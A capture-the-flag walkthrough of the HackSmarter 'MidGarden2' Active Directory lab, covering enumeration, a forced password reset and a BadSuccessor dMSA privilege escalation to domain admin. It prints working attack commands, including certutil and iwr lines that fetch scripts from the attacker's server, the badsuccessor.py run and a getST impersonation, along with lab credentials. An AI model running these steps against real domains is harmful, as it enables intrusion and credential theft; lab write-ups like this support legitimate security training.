HackSmarter MidGarden2 Walkthrough

Posted Jun 18, 2026

By Elmehdi Laassiri

7 min read

Objective/Scope :

As a member of the Hack Smarter Red Team, you have been assigned to this engagement to conduct a comprehensive penetration test of the client’s internal environment.

The client has a mature security posture and has previously undergone multiple internal penetration testing engagements. Given our team’s advanced expertise in ethical hacking, the primary objective of this assessment is to identify attack vectors that may have been overlooked in prior engagements.

Solution :

We first start by scanning the target :

Looking at the open ports it confirms that this is a Domain Controller (Kerberos,ldap,dns,etc). Since this is an AD machine , i always like to keep this quick checklist in mind when doing it :

  
Scan All TCP Ports : Check The useful note Down for more info .
Check ldap , rpc , smb with anonymous access . Check for Public Shares .
Find Usernames : Find usernames in Web Site and generate a Username List maybe . if you get access , Look for usernames using netexec , –rid-brute , –users and enumdomuser with RPC client .
Check usernames found with kerbrute .
Search for ASREP Roastable Users .
Once we have valid Creds : Check Kerberoastable users + Spray the password on all users .
Try to authenticate using every protocol .
Enumerate shares with those Users found . Use netexec to download .
Check Certipy for Vulnerable Templates if there is an ADCS in place .
If we get a Shell , try privesc , dump all Hashes using netexec or locally and store into a file .
If we can’t privesc , we can move to Blood Hound .

Before we start, we need to add the hostname as well as the domain name to our /etc/hosts file , we can use nxc for that :

We’re already given a set of creds to use :

freyja:Fr3yja!Dr@g0n^12

We can use them to generate a list of users , test for ASREPROASTING , then kerberoasting ,Password Spraying, check shares , if none of this works we will check Bloodhound for ACLs .

First we generate the user list :

Then we check Kerberoasting / ASREPROASTING :

This didn’t return anything useful -_-

Moving on to the shares :

We find the scripts share but we can’t read it sadly .

Let’s check user’s descriptions , maybe they keep passwords there , overall we should test all protocol that includes ldap :

Indeed, we find a temporary password in Thor’s description , we can try spraying it on all users to see if it’s valid :

Only Thor has this password , makes sense .

[+] yggdrasil.hacksmarter\Thor:Th0r!W!nt3rFang

Now before we start checking this new user’s privileges , let’s run Bloodhound to get a better view on the Domain :

  
# To get the ZIP file :
nxc ldap $target -u 'hellyr' -p 'H3lenaR!2025' --bloodhound --collection All --dns-server $target
# To run BloodHound : 
https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd
Visit : http://localhost:8080/ui/login 

Now we can add both of them to Owned Objects and check to see if they got any Oubtound Object Control that we can use .

Our first user didn’t have any Useful ACLs we could abuse , but Thor can change the password for the HDOR user :

And the HDOR user can Winrm to the machine , since he’s part of the Remote Management group :

We can change his password using BloodyAD , but i just found out we can do that with nxc as well so let’s try it :

  
nxc smb $target -u thor -p 'Th0r!W!nt3rFang' -M change-password -o USER=hodr NEWPASS=WEAK.123

Perfect ! Now we can winrm to the machine :

The flag as always is in the Desktop Folder .

Now for Privesc , our user didn’t have any useful group. If we check Bloodhound , we see 2 Interesting users when we try Shortest Path , first is YMIR and ODIN :

Remember the scripts Share we found earlier? let’s check it :

We find dMSA in these names , found out it was a Hint later on.

Looking Online for dMSA abuse :

We find that there is an attack called BadSuccessor :

BadSuccessor abuses the dMSA supersession mechanism in Windows Server 2025. An attacker with CreateChild rights on any OU can create a dMSA and set it to supersede an arbitrary privileged account (e.g., a Domain Admin) by manipulating the msDS-ManagedAccountPrecededByLink attribute. The KDC then includes the predecessor’s SIDs in the dMSA’s Kerberos ticket, granting the attacker those privileges without any legitimate migration having taken place.

First, what is dMSA? It’s a new service account type introduced in Windows Server 2025 instead of managing passwords yourself, AD handles it automatically (same concept as gMSA before it, but gMSA had no migration support). What dMSA adds is a migration feature: you can migrate a service from an old service account to a new one without shutting it down the old account’s privileges get carried over to the new dMSA during the transition. And that’s exactly what we’re abusing here.

Now to Check fot this attack , nxc has a module for it as well (HAVE TO love nxc !!)

Perfect Hodr is already a member of the WebSeerverAdmins group and can create objects in these OU : OU=Web Servers,OU=Yggdrasil Servers,DC=yggdrasil,DC=hacksmarter.

Any OU on the domain can work for this attack to be fair :

I will try to follow this article to exploit this :

https://www.hackingarticles.in/abusing-badsuccessor-dmsa-stealthy-privilege-escalation/

We first Download the powershell script then host a python server to be able to transfer the file , since the Target can’t access the internet so we won’t be able to download it directly :

  
# On kali :
https://raw.githubusercontent.com/LuemmelSec/Pentest-Tools-Collection/refs/heads/main/tools/ActiveDirectory/BadSuccessor.ps1
python3 -m http.server 80

# On the Windows machine :

iwr http://10.200.65.135/BadSuccessor.ps1 -OutFile BadSuccessor.ps1
Or
certutil.exe -urlcache -split -f http://10.200.65.135/BadSuccessor.ps1

If we wanted to verify from the Windows host as well :

Now to see which ones have the create child perms :

  
# On our kali :
wget https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1
python3 -m http.server 80

# On the Windows machine : 
iwr http://10.200.65.135/Get-BadSuccessorOUPermissions.ps1 -OutFile Get-BadSuccessorOUPermissions.ps1

Basically what nxc gave us earlier but this is in case you needed to run it locally .

Now to abuse this :

We need to create a new dMSA account and link it to one of the DA , in this case it’s Odin or YMIR .

There is this method , but there is an easier approach , we can use a tool called Badsuccessor tool for this one :

  
# 1. clone the tool
git clone https://github.com/cybrly/badsuccessor
cd badsuccessor

# 2. create isolated venv
python3 -m venv ~/venvs/badsuccessor
source ~/venvs/badsuccessor/bin/activate

# 3. fix pkg_resources issue (Python 3.13 dropped it)
pip install setuptools==69.5.1 --force-reinstall

# 4. install dependencies
pip install impacket==0.12.0
pip install -r requirements.txt

# 5. run the attack
python3 badsuccessor.py -d yggdrasil.hacksmarter -u hodr -p WEAK.123 --dc-ip $target --attack --target ymir

Perfect :

Now if we ask for a TGT , it should give us the Hash of ymir as well .

  
getST.py 'yggdrasil.hacksmarter/hodr:WEAK.123' -dc-ip $target -impersonate 'FAKE_DMSA$' -dmsa -self

Nice we got the Hash for YMIR !!

We can either dump the ntds or just login via winrm and get the Root flag :

I tried reading it using nxc only but AV blocked it :

een detected by AV. Please increase the number of tries with the option ‘–get-output-tries’. If it is still failing, try the ‘wmi’ protocol or another exec method